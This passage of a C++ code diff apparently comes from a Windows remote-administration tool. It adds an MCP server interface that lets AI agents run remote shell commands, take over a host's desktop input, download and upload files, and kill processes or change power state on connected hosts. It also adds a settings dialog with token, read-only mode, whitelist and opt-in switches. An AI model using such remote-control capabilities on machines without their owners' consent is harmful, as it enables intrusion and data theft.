+    // ===== P2b：无请求 id 的一次性响应 → 每 host 单飞行 =====
+    // 进程/窗口列表（TOKEN_PSLIST/TOKEN_WSLIST，一次性子链接）与历史活动
+    // （TOKEN_REPORT_ACTIVITY，主连接 RPC）都不带请求关联，同一 host 同一时刻
+    // 只允许一个挂起请求，避免同 host 并发请求响应归属歧义。
+    // 注意：单飞行只约束 MCP 侧同 host 并发，不约束与 MFC 对话框并存（各用独立子链接）。
+
+    // 该 host 是否已有挂起请求（MessageHandle 在 TOKEN_PSLIST/TOKEN_WSLIST 分支调用）。
+    bool IsPending(uint64_t device_id);
+
+    // 拷贝响应缓冲到挂起结果并唤醒等待者（在 MessageHandle 内同步调用，数据此时仍在
+    // context 缓冲中、IO 线程被阻塞，拷贝是安全的）。
+    void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len);
+
+    // 工具线程：登记挂起（false = 该 host 已有挂起请求，设备忙）。
+    bool BeginPending(uint64_t device_id, const std::string& tool);
+
+    // 工具线程：等待响应；成功返回 true 并把缓冲写入 out，超时/失败返回 false（并清理）。
+    bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs);
+
+    // 工具线程：清理挂起状态（发送失败等提前退出路径）。
+    void ClearPending(uint64_t device_id);
+
+    // ===== P2c：list_files / get_screenshot 扩展 =====
+
+    // 登记挂起（带目录路径；list_files 专用，path 为空表示只列盘）。
+    bool BeginPending(uint64_t device_id, const std::string& tool, const std::string& path);
+
+    // get_screenshot：工具线程生成 16 位 reqId（跳过 0，0 表示未设置），用于丢弃过期响应。
+    uint16_t NextPreviewReqId();
+
+    // get_screenshot：登记期望的 reqId（必须在发送 COMMAND_SCREEN_PREVIEW_REQ 前调用）。
+    void SetPendingReqId(uint64_t device_id, uint16_t reqId);
+
+    // get_screenshot：MessageHandle(TOKEN_SCREEN_PREVIEW_RSP) 在 IO 线程同步调用；
+    // 挂起命中且 reqId 一致则拷贝响应并返回 true，否则 false（回落到 MFC 预览路径）。
+    bool TakePreviewResponse(uint64_t device_id, uint16_t reqId, const BYTE* data, ULONG len);
+
+    // list_files：MessageHandle(TOKEN_DRIVE_LIST) 调用。
+    // 返回 true = 已取走盘列表（调用方 CancelIO）；false = 已转向下发 COMMAND_LIST_FILES、
+    // 等 TOKEN_FILE_LIST（调用方不关子链接）。
+    bool OnDriveList(uint64_t device_id, context* subCtx, const BYTE* buf, ULONG len);
+
+    // ===== P3：list_registry（注册表查询，三阶段：COMMAND_REGEDIT → TOKEN_REGEDIT →
+    // COMMAND_REG_FIND → TOKEN_REG_PATH + TOKEN_REG_KEY）=====
+
+    // MessageHandle(TOKEN_REGEDIT) 调用：挂起命中且为 list_registry 则下发 COMMAND_REG_FIND
+    // 并返回 true（接管子链接，不打开 MFC 对话框）；否则 false（回落 MFC）。
+    bool OnRegeditReady(uint64_t device_id, context* subCtx);
+
+    // MessageHandle(TOKEN_REG_PATH / TOKEN_REG_KEY) 调用：两包都到齐后置 done 并唤醒等待者。
+    void TakeRegPath(uint64_t device_id, const BYTE* data, ULONG len);
+    void TakeRegKey(uint64_t device_id, const BYTE* data, ULONG len);
+
+    // 工具线程：等待注册表两包（子键 + 值）；成功返回 true 并把两包分别写入 out，超时返回 false。
+    bool WaitPendingRegistry(uint64_t device_id, std::vector<BYTE>& subkeys,
+                             std::vector<BYTE>& values, int timeoutMs);
+
+    // ===== P3：exec_command（Windows 一次性远程命令，复刻 Web 终端链路）=====
+    // 流程：工具线程 BeginTermPending → 主连接下发 COMMAND_SHELL → 客户端 shell 子连接回
+    // TOKEN_TERMINAL_START / TOKEN_SHELL_START → RegisterTerminalContext 接管 → 发
+    // COMMAND_NEXT(+PTY resize) 启动输出回流 → 工具线程发哨兵命令行 → OnTerminalData 收集
+    // 并做哨兵检测 → WaitTerminalDone 取 stdout + exit_code → CancelIO 关子链接。
+    // 单设备单终端（MVP）：BeginTermPending 命中已有会话即拒绝，避免同设备并发归属歧义。
+
+    // 该 host 是否已有待接管的终端会话（MessageHandle TOKEN_*_START 分支调用）。
+    bool IsTermPending(uint64_t device_id);
+
+    // 终端子连接就绪：接管（登记 subCtx/isPty、清 pending、发 COMMAND_NEXT 唤醒回流）。
+    void RegisterTerminalContext(uint64_t device_id, context* subCtx, bool isPty);
+
+    // 终端子连接是否已被 MCP 接管（MessageHandle 顶部据此把 shell 输出路由到 OnTerminalData）。
+    bool IsTerminalContext(context* subCtx);
+
+    // 追加 shell 输出并做哨兵检测（命中置 done 并唤醒等待者）。
+    void OnTerminalData(context* subCtx, const BYTE* data, ULONG len);
+
+    // shell 进程退出（TOKEN_TERMINAL_CLOSE）。
+    void OnTerminalClosed(context* subCtx);
+
+    // 工具线程：登记终端挂起（false = 该 host 已有终端会话）。
+    bool BeginTermPending(uint64_t device_id, const std::string& command, const std::string& nonce);
+
+    // 工具线程：等待子连接回 START 并接管（true = 已接管，输出 subCtx/isPty）。
+    bool WaitTerminalReady(uint64_t device_id, context*& subCtx, bool& isPty, int timeoutMs);
+
+    // 工具线程：等待输出收集完成（哨兵命中 / 进程退出 / 超时）。
+    // 成功 true：out=截断到哨兵前的原始字节、exitCode=0/1（进程退出无哨兵时 -1）、closed=是否进程退出。
+    bool WaitTerminalDone(uint64_t device_id, std::vector<BYTE>& out, int& exitCode, bool& closed, int timeoutMs);
+
+    // 工具线程：清理终端挂起（发送失败等提前退出路径）。
+    void ClearTermPending(uint64_t device_id);
+
+    // ===== P4：持久远程终端（terminal_open / terminal_exec / terminal_close）=====
+    void SetTerminalEnabled(bool enabled) { m_terminalEnabled = enabled; }
+    bool IsTerminalEnabled() const { return m_terminalEnabled; }
+
+    // 登记持久终端挂起（复用单设备单终端约束；sessionId 由调用方生成）。
+    bool BeginTermOpen(uint64_t device_id, const std::string& sessionId);
+
+    // 复位单条命令字段并置 busy；输出 subCtx/isPty。false = 不存在/不匹配/未就绪/忙碌/已关。
+    bool BeginTermCommand(uint64_t device_id, const std::string& sessionId,
+                          const std::string& command, const std::string& nonce,
+                          context*& subCtx, bool& isPty);
+
+    // 等待本条命令完成（done || closed || 超时）。done=保持会话；closed/超时=清理会话+路由。
+    bool WaitTermCommand(uint64_t device_id, std::vector<BYTE>& out, int& exitCode,
+                         bool& closed, int timeoutMs);
+
+    // 关闭持久终端（校验 sessionId；CancelIO + 清理路由/会话）。
+    // 返回：0=已关闭；1=会话不存在（幂等）；2=sessionId 不匹配（调用方报错）。
+    int CloseTermSession(uint64_t device_id, const std::string& sessionId);
+
+    // idle 回收：关闭 lastActiveAt 超时且非 busy 的持久会话。返回回收数量。
+    int SweepIdleTerminals(time_t idleTimeoutSec);
+
+    // ===== P5：MCP 远程控制（remote_open / remote_close / remote_mouse / remote_keyboard）=====
+    // 屏幕子连接由 WebService::StartRemoteDesktop 建立的隐藏 CScreenSpyDlg 持有（复用 Web
+    // 路径，见 docs/Mcp_RemoteControl_Design.md §6.3）；会话仅记录逻辑状态 + 子连接指针。
+    // 注入走该子连接（COMMAND_SCREEN_CONTROL），与终端一样单设备单会话。
+    void SetRemoteControlEnabled(bool enabled) { m_remoteControlEnabled = enabled; }
+    bool IsRemoteControlEnabled() const { return m_remoteControlEnabled; }
+
+    // 该 host 的屏幕子连接是否被 MCP 远程控制会话持有（OfflineProc 反查用）。
+    bool IsScreenCtrlContext(context* subCtx);
+
+    // 登记控制会话（单设备单会话；sessionId 由调用方生成）。false = 该设备已有会话。
+    bool BeginScreenCtrlOpen(uint64_t device_id, const std::string& sessionId);
+
+    // 子连接就绪（HasActiveSession && 分辨率到达）后调用：填 subCtx/分辨率并置 started。
+    // false = 会话已被并发关闭（调用方应放弃本次 open）。
+    bool MarkScreenCtrlReady(uint64_t device_id, const std::string& sessionId,
+                             context* subCtx, int screenW, int screenH);
+
+    // 注入前登记（校验 sessionId/started/!busy/!closed）。输出 subCtx/screenW/H。
+    // 注入期间 busy=true，保证 close/sweep/断线不与注入并发擦会话（镜像终端 busy 模式，
+    // 评审发现 #6）。返回：0=ok；1=不存在/不匹配/未就绪/已断（-32002）；2=忙（-32003）。
+    int BeginScreenCtrlAction(uint64_t device_id, const std::string& sessionId,
+                              context*& subCtx, int& screenW, int& screenH);
+
+    // 注入后复位 busy；若注入期间屏幕子连接已断（closed），擦会话+路由（防泄漏）。
+    void EndScreenCtrlAction(uint64_t device_id, const std::string& sessionId);
+
+    // 关闭控制会话（校验 sessionId；擦路由 + 会话）。屏幕子连接的关闭由调用方锁外执行
+    // （CloseWebRemoteDesktopByClientID）。返回 0=已关；1=不存在（幂等）；2=sessionId 不匹配。
+    int CloseScreenCtrlSession(uint64_t device_id, const std::string& sessionId);
+
+    // idle 回收：关闭 lastActiveAt 超时的控制会话，并锁外关闭其隐藏对话框。返回回收数量。
+    int SweepIdleScreenCtrl(time_t idleTimeoutSec);
+
+    // 屏幕子连接断开（OfflineProc 调用）：擦除该子连接对应的会话 + 路由（幂等）。
+    void OnScreenControlClosed(context* subCtx);
+
+    // ===== P6：MCP 文件传输（download_file，V2 协议）=====
+    // 下载走 CMD_DOWN_FILES_V2 → 客户端新开流式子连接回传 COMMAND_SEND_FILE_V2 /
+    // COMMAND_FILE_COMPLETE_V2（dstClientID==0）。会话按 device_id 键控，单设备单传输；
+    // 复用 list_files 的 COMMAND_LIST_DRIVE → TOKEN_DRIVE_LIST 开文件管理器子链接下发命令。
+    void SetFileTransferEnabled(bool enabled) { m_fileTransferEnabled = enabled; }
+    bool IsFileTransferEnabled() const { return m_fileTransferEnabled; }
+
+    // 该 host 是否有进行中的文件传输会话（MessageHandle 分派守卫）。
+    bool IsFileTransferPending(uint64_t device_id);
+
+    // 登记文件传输会话（false = 该 host 已有文件会话或一次性挂起请求）。
+    bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
+                                  const std::string& localDir, const std::string& remotePath,
+                                  bool overwrite);
+
+    // 登记上传会话（false = 该 host 已有文件会话或一次性挂起请求）。upload 走主连接、
+    // 工具线程同步驱动 FileBatchTransferWorkerV2，会话仅为单设备单传输互斥标记
+    // （无 fmSubCtx/streamSubCtx，ClearFileTransfer 对空指针安全）。
+    bool BeginFileUpload(uint64_t device_id);
+
+    // TOKEN_DRIVE_LIST：识别 download_file，存文件管理器子链接并下发 CMD_DOWN_FILES_V2。
+    // 返回 true=已接管（保持子链接，收尾由 ClearFileTransfer）；false=会话已清理（调用方 CancelIO）。
+    bool OnDownloadDriveList(uint64_t device_id, context* fmSubCtx);
+
+    // COMMAND_SEND_FILE_V2：解析 chunk，路径校验 + overwrite 判定 + 落盘（RecvFileChunkV2）。
+    void OnFileChunkV2(uint64_t device_id, context* streamSubCtx, const BYTE* buf, ULONG len);
+
+    // COMMAND_FILE_COMPLETE_V2：SHA-256 校验（HandleFileCompleteV2）+ 完成判定。
+    void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);
+
+    // 工具线程：等待传输完成；true=成功（files 已填，error=0），false=失败/超时（error 填原因）。
+    // 无论成败，files 都会返回已见文件的落盘路径（成功=完整文件，失败=供调用方删半成品）。
+    // 调用方随后必须调 ClearFileTransfer 收尾（擦会话 + CancelIO 子链接）。
+    bool WaitFileTransferDone(uint64_t device_id, int timeoutMs,
+                              std::vector<FileTransferEntry>& files, int& skipped, int& error);
+
+    // 收尾：擦会话 + 锁外 CancelIO 文件管理器/流式两条子链接（幂等）。
+    void ClearFileTransfer(uint64_t device_id);
+
+    // ===== P7：设备管理控制（kill_process / operate_window / control_service / power_action）=====
+    // 写工具复用 m_Pending 单飞行；followUp/followUpSent/subCtx 标记接管进度。
+    // 「就绪 token」与「确认 token」是同一 token（客户端子连接构造即回一包，写后再回一包），
+    // 故必须用 followUpSent 区分两次到达，不能靠 token 区分（与 list_registry 的 PATH/KEY 双 token 不同）。
+    void SetManageEnabled(bool enabled) { m_manageEnabled = enabled; }
+    bool IsManageEnabled() const { return m_manageEnabled; }
+
+    // 登记写挂起：与 BeginPending 同单飞行，另预填 followUp（写命令 payload）。
+    bool BeginPendingFollowUp(uint64_t device_id, const std::string& tool,
+                              const std::vector<BYTE>& followUp);
+
+    // MessageHandle(TOKEN_PSLIST/TOKEN_WSLIST) 调用：命中且为写工具（kill_process/operate_window）
+    // 则接管子连接、下发 followUp（返回 true=已接管，调用方不 CancelIO）；否则 false（回落 MFC
+    // 或按确认包走 TakeMainResponse）。
+    bool OnSystemReady(uint64_t device_id, context* subCtx);
+
+    // MessageHandle(TOKEN_SERVERLIST) 调用：命中且为 control_service 则接管、下发
+    // COMMAND_SERVICECONFIG（返回 true=已接管）；否则 false。
+    bool OnServiceReady(uint64_t device_id, context* subCtx);
+
+    // 工具线程：等待写确认包（第二个同 token 包）；超时/空数据清挂起并 CancelIO 子连接。
+    bool WaitPendingWrite(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs);
+
+    // OfflineProc 调用：接管的子连接断开时清挂起（置 done 并清 subCtx，唤醒等待线程）。
+    // 不擦表（由 WaitPendingWrite 持有迭代器时自行擦除，防迭代器失效）；清 subCtx 使
+    // 超时路径不会对已回收（连接池复用）的 context 误 CancelIO。
+    void OnManageSubClosed(context* subCtx);
+
+    // 安全配置（启动时由 CMy2015RemoteDlg 读 THIS_CFG 后设置）。
+    void SetReadonly(bool readonly) { m_readonly = readonly; }
+    void SetCmdWhitelist(const std::string& whitelist) { m_cmdWhitelist = whitelist; }
+    bool IsReadonly() const { return m_readonly; }
+    const std::string& GetCmdWhitelist() const { return m_cmdWhitelist; }
+
+private:
+    CMcpServer();
+    ~CMcpServer();
+    CMcpServer(const CMcpServer&) = delete;
+    CMcpServer& operator=(const CMcpServer&) = delete;
+
+    // POST /mcp 处理器：token 校验 + JSON-RPC 分发。
+    void HandleMcp(const httplib::Request& req, httplib::Response& res);
+
+    httplib::Server    m_server;
+    std::thread        m_thread;
+    std::atomic<bool>  m_running{false};
+    std::string        m_token;
+    CMy2015RemoteDlg*  m_parent = nullptr;
+
+    // 挂起请求注册表（受 m_PendingMutex 保护，键 = device_id）。
+    struct PendingRequest {
+        std::string       tool;
+        std::string       path;              // list_files：目录路径；list_registry：rootToken(1B)+相对子键路径
+        uint16_t          expectedReqId = 0; // get_screenshot：期望的预览 reqId（0 = 未设置）
+        std::vector<BYTE> data;
+        std::vector<BYTE> regPath;           // list_registry：TOKEN_REG_PATH 子键包（含 token 字节）
+        std::vector<BYTE> regKey;            // list_registry：TOKEN_REG_KEY 值包（含 token 字节）
+        bool              pathDone = false;  // list_registry：已收到 TOKEN_REG_PATH
+        bool              keyDone  = false;  // list_registry：已收到 TOKEN_REG_KEY
+        bool              done = false;
+        // ===== P7：写工具（kill_process / operate_window / control_service）接管进度 =====
+        std::vector<BYTE> followUp;          // 接管后下发的写命令 payload（首字节 = 写命令）
+        bool              followUpSent = false; // false=等子连接就绪（首包）；true=已发写命令、等确认包
+        context*          subCtx = nullptr;  // 接管的子连接（超时/失败 CancelIO 用，防孤儿子连接）
+    };
+    std::mutex                   m_PendingMutex;
+    std::condition_variable      m_PendingCv;
+    std::map<uint64_t, PendingRequest> m_Pending;
+
+    // get_screenshot 的 reqId 发生器（16 位，跳过 0）。与 MFC 预览的 m_PreviewReqId 各自独立计数。
+    std::atomic<uint16_t>        m_PreviewReqId{1};
+
+    // ===== P3：exec_command 终端会话（受 m_TermMutex 保护）=====
+    struct TermSession {
+        bool              started = false;   // false=已发 COMMAND_SHELL 待 START；true=已接管
+        context*          subCtx  = nullptr; // shell 子连接上下文
+        bool              isPty   = false;   // true=ConPTY(UTF-8)；false=老 cmd 管道(GBK)
+        std::string       command;           // 原始 UTF-8 命令（审计用）
+        std::string       nonce;             // 哨兵随机串
+        std::vector<BYTE> data;              // 收集的原始 shell 输出
+        size_t            sentPos = 0;       // 哨兵在 data 中的位置
+        int               exitCode = -1;
+        bool              done = false;      // 哨兵命中
+        bool              closed = false;    // TOKEN_TERMINAL_CLOSE（进程退出）
+        // ===== 新增（持久终端）=====
+        std::string       sessionId;         // 持久会话 token（一次性 exec 为空）
+        bool              persistent = false;
+        bool              busy = false;      // 一条命令在飞（terminal_exec 复位→WaitTermCommand 返回）
+        time_t            lastActiveAt = 0;  // idle 回收用（秒）
+    };
+    std::mutex                       m_TermMutex;
+    std::condition_variable          m_TermCv;
+    std::map<uint64_t, TermSession>  m_TermSessions;         // device_id → 会话
+    std::map<context*, uint64_t>     m_TermContextToDevice;  // subCtx → device_id（顶部路由）
+
+    // ===== P5：远程控制会话（受 m_ScreenCtrlMutex 保护；单设备单会话）=====
+    struct ScreenCtrlSession {
+        std::string  sessionId;             // 会话 token（每次 open 独立随机）
+        context*     subCtx = nullptr;      // 屏幕子连接上下文（就绪后填；用于注入）
+        bool         started = false;       // false=子连接建立中；true=已就绪
+        bool         busy    = false;       // 一条注入在飞（BeginScreenCtrlAction→End 之间）
+        bool         closed  = false;       // 注入期间屏幕子连接已断（由注入线程收尾）
+        time_t       lastActiveAt = 0;      // idle 回收用（秒）
+        int          screenW = 0;           // 物理捕获分辨率（来自 TOKEN_BITMAPINFO）
+        int          screenH = 0;
+    };
+    std::mutex                              m_ScreenCtrlMutex;
+    std::map<uint64_t, ScreenCtrlSession>   m_ScreenCtrlSessions;         // device_id → 会话
+    std::map<context*, uint64_t>            m_ScreenCtrlContextToDevice;  // subCtx → device_id（OfflineProc 反查）
+
+    // ===== P6：文件传输会话（受 m_FileXferMutex 保护；单设备单传输）=====
+    struct FileTransferSession {
+        std::string tool;                    // "download_file" / "upload_file"
+        std::string localDir;                // download：本机保存目录（ANSI，结尾 '\'）
+        std::string remotePath;              // 客户端远程路径（ANSI，发 CMD_DOWN_FILES_V2 用）
+        bool        overwrite = false;       // 是否覆盖已存在文件
+        context*    fmSubCtx     = nullptr;  // 文件管理器子链接（下发 CMD_DOWN_FILES_V2）
+        context*    streamSubCtx = nullptr;  // 流式子链接（首个 chunk 填，收尾 CancelIO）
+        uint64_t    transferID = 0;          // 客户端回填的传输会话 ID
+        uint32_t    totalFiles = 0;          // 客户端声明的文件总数（含目录项，见 F4）
+        uint32_t    directoryCount = 0;      // 目录项计数（目录不发 COMPLETE 包）
+        uint32_t    filesDone = 0;           // 已完成的文件数（含跳过的）
+        bool        done = false;            // 全部完成或出错
+        int         error = 0;               // 0=ok；8=哈希不匹配；1001=路径逃逸；1002=超时
+        std::map<uint32_t, FileTransferEntry> fileEntries;   // fileIndex → {path,size,sha256}
+        std::set<uint32_t>        skipIndexes;               // overwrite=false 跳过的 fileIndex
+        std::vector<FileTransferEntry> skipped;              // 跳过的文件（供输出）
+        time_t      startAt = 0;
+    };
+    std::mutex                            m_FileXferMutex;
+    std::condition_variable               m_FileXferCv;
+    std::map<uint64_t, FileTransferSession> m_FileXferSessions;   // device_id → 会话
+
+    bool        m_readonly = true;
+    std::string m_cmdWhitelist;
+    bool        m_terminalEnabled = false;      // 持久终端开关（默认关；要求 m_readonly=false）
+    bool        m_remoteControlEnabled = false; // 远程控制开关（默认关；要求 m_readonly=false）
+    bool        m_fileTransferEnabled = false;  // 文件传输开关（默认关；download_file）
+    bool        m_manageEnabled = false;        // P7 管理控制开关（默认关；要求 m_readonly=false）
+};
+
+// 全局访问器（仿 WebService()，见 WebService.h 末尾）
+inline CMcpServer& McpServer() { return CMcpServer::Instance(); }
+
+// 生成 32 hex（128-bit）随机 token；供运行时兜底与「MCP设置」对话框预填复用。
+std::string GenerateRandomToken();

server/2015Remote/McpSettingsDlg.cpp

@@ -0,0 +1,321 @@
+#include "stdafx.h"
+#include "McpSettingsDlg.h"
+#include "LangManager.h"     // _TR / MessageBoxL
+#include "McpServer.h"       // GenerateRandomToken
+#include "2015Remote.h"      // THIS_CFG (GetThisCfg)
+#include <atlconv.h>
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#endif
+
+namespace {
+
+// 构造一个无控件的 DLGTEMPLATE：cdit=0，控件由 OnInitDialog 动态创建。
+// （与 ZstaPickerDlg.cpp 内同名函数一致）
+void BuildDialogTemplate(std::vector<BYTE>& out, LPCWSTR caption, short cx, short cy)
+{
+    out.clear();
+    auto append = [&](const void* p, size_t n) {
+        const BYTE* b = (const BYTE*)p;
+        out.insert(out.end(), b, b + n);
+    };
+    auto appendW = [&](WORD v) {
+        out.push_back((BYTE)(v & 0xFF));
+        out.push_back((BYTE)((v >> 8) & 0xFF));
+    };
+    auto appendWStr = [&](LPCWSTR s) {
+        size_t n = wcslen(s);
+        append(s, (n + 1) * sizeof(WCHAR));
+    };
+
+    DLGTEMPLATE dt = { 0 };
+    dt.style = DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER |
+               WS_POPUP | WS_CAPTION | WS_SYSMENU;
+    dt.dwExtendedStyle = 0;
+    dt.cdit = 0;
+    dt.x = 0; dt.y = 0;
+    dt.cx = cx; dt.cy = cy;
+    append(&dt, sizeof(dt));
+    appendW(0);                          // no menu
+    appendW(0);                          // default dialog class
+    appendWStr(caption);                 // caption
+    appendW(8);                          // font point size
+    appendWStr(L"MS Shell Dlg");         // typeface
+
+    while (out.size() % 4) out.push_back(0); // DWORD align
+}
+
+// 把白名单文本规范化为「逗号分隔、逐项去首尾空白、去空项」的存储格式。
+// 换行视作分隔符（与逗号等价），便于多行输入。
+std::string NormalizeWhitelist(const std::string& raw)
+{
+    std::string norm;
+    norm.reserve(raw.size());
+    for (char ch : raw)
+        norm += (ch == '\r' || ch == '\n') ? ',' : ch;
+
+    std::vector<std::string> items;
+    size_t start = 0;
+    while (start < norm.size()) {
+        size_t comma = norm.find(',', start);
+        std::string item = norm.substr(start, comma == std::string::npos ? std::string::npos : comma - start);
+        size_t b = item.find_first_not_of(" \t\r\n");
+        if (b != std::string::npos) {
+            size_t e = item.find_last_not_of(" \t\r\n");
+            item = item.substr(b, e - b + 1);
+        } else {
+            item.clear();
+        }
+        if (!item.empty()) items.push_back(item);
+        if (comma == std::string::npos) break;
+        start = comma + 1;
+    }
+
+    std::string out;
+    for (size_t i = 0; i < items.size(); ++i) {
+        if (i) out += ",";
+        out += items[i];
+    }
+    return out;
+}
+
+// 存储格式（逗号分隔）→ 多行展示（每行一条）。
+std::string WhitelistForDisplay(const std::string& stored)
+{
+    std::string disp;
+    disp.reserve(stored.size());
+    for (char ch : stored) {
+        if (ch == ',') disp += "\r\n";
+        else disp += ch;
+    }
+    return disp;
+}
+
+} // namespace
+
+BEGIN_MESSAGE_MAP(CMcpSettingsDlg, CDialog)
+END_MESSAGE_MAP()
+
+CMcpSettingsDlg::CMcpSettingsDlg(CWnd* parent)
+    : CDialog((LPCTSTR)NULL, parent)
+{
+}
+
+INT_PTR CMcpSettingsDlg::DoModal()
+{
+    USES_CONVERSION;
+    CString title = _TR("MCP设置");
+    BuildDialogTemplate(m_Template, T2CW(title), 320, 420);
+    InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
+    return CDialog::DoModal();
+}
+
+BOOL CMcpSettingsDlg::OnInitDialog()
+{
+    CDialog::OnInitDialog();
+
+    CRect cli;
+    GetClientRect(&cli);
+
+    // 占位 rect，真正布局在 LayoutControls 里
+    CRect r0(0, 0, 10, 10);
+
+    m_btnEnable.Create(_TR("启用 MCP"),
+                       WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                       r0, this, IDC_MCP_ENABLE);
+    m_lblPort.Create(_TR("端口"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editPort.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
+                      r0, this, IDC_MCP_PORT);
+    m_lblBind.Create(_TR("绑定地址"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editBind.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
+                      r0, this, IDC_MCP_BIND);
+    m_lblToken.Create(_TR("Token"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editToken.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
+                       r0, this, IDC_MCP_TOKEN);
+    m_btnReadonly.Create(_TR("只读模式（禁命令执行）"),
+                         WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                         r0, this, IDC_MCP_READONLY);
+    m_btnTerminal.Create(_TR("启用持久终端（全命令，无白名单）"),
+                         WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                         r0, this, IDC_MCP_TERMINAL);
+    m_btnRemoteControl.Create(_TR("启用远程控制（AI 操控桌面）"),
+                              WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                              r0, this, IDC_MCP_REMOTECONTROL);
+    m_btnFileTransfer.Create(_TR("启用文件传输（download_file）"),
+                             WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                             r0, this, IDC_MCP_FILETRANSFER);
+    m_btnManage.Create(_TR("启用管理操作（进程/窗口/服务/电源）"),
+                       WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                       r0, this, IDC_MCP_MANAGE);
+    m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
+                           ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
+                           r0, this, IDC_MCP_WHITELIST);
+    m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
+                   r0, this, IDOK);
+    m_btnCancel.Create(_TR("取消"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
+                       r0, this, IDCANCEL);
+
+    // 子控件继承对话框字体 (DS_SETFONT)
+    HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
+    if (hFont) {
+        m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblToken.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editToken.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnReadonly.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnTerminal.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnRemoteControl.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnFileTransfer.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnManage.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnCancel.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+    }
+
+    // 回填配置（首次打开且 token 为空时预填随机值，随保存持久化）
+    int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
+    int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
+    std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
+    std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
+    if (tok.empty()) tok = GenerateRandomToken();
+    int readonly = THIS_CFG.GetInt("settings", "McpReadonly", 1);
+    int terminal = THIS_CFG.GetInt("settings", "McpTerminal", 0);
+    int remoteControl = THIS_CFG.GetInt("settings", "McpRemoteControl", 0);
+    int fileTransfer = THIS_CFG.GetInt("settings", "McpFileTransfer", 0);
+    int manage = THIS_CFG.GetInt("settings", "McpManage", 0);
+    std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", "");
+
+    m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
+    m_editPort.SetWindowText(CString(std::to_string(port).c_str()));
+    m_editBind.SetWindowText(CString(bind.c_str()));
+    m_editToken.SetWindowText(CString(tok.c_str()));
+    m_btnReadonly.SetCheck(readonly ? BST_CHECKED : BST_UNCHECKED);
+    m_btnTerminal.SetCheck(terminal ? BST_CHECKED : BST_UNCHECKED);
+    m_btnRemoteControl.SetCheck(remoteControl ? BST_CHECKED : BST_UNCHECKED);
+    m_btnFileTransfer.SetCheck(fileTransfer ? BST_CHECKED : BST_UNCHECKED);
+    m_btnManage.SetCheck(manage ? BST_CHECKED : BST_UNCHECKED);
+    // 白名单存储为逗号分隔，展示为每行一条。
+    m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str()));
+
+    LayoutControls(cli.Width(), cli.Height());
+    return TRUE;
+}
+
+void CMcpSettingsDlg::OnOK()
+{
+    CString sPort, sBind, sToken, sWhitelist;
+    m_editPort.GetWindowText(sPort);
+    m_editBind.GetWindowText(sBind);
+    m_editToken.GetWindowText(sToken);
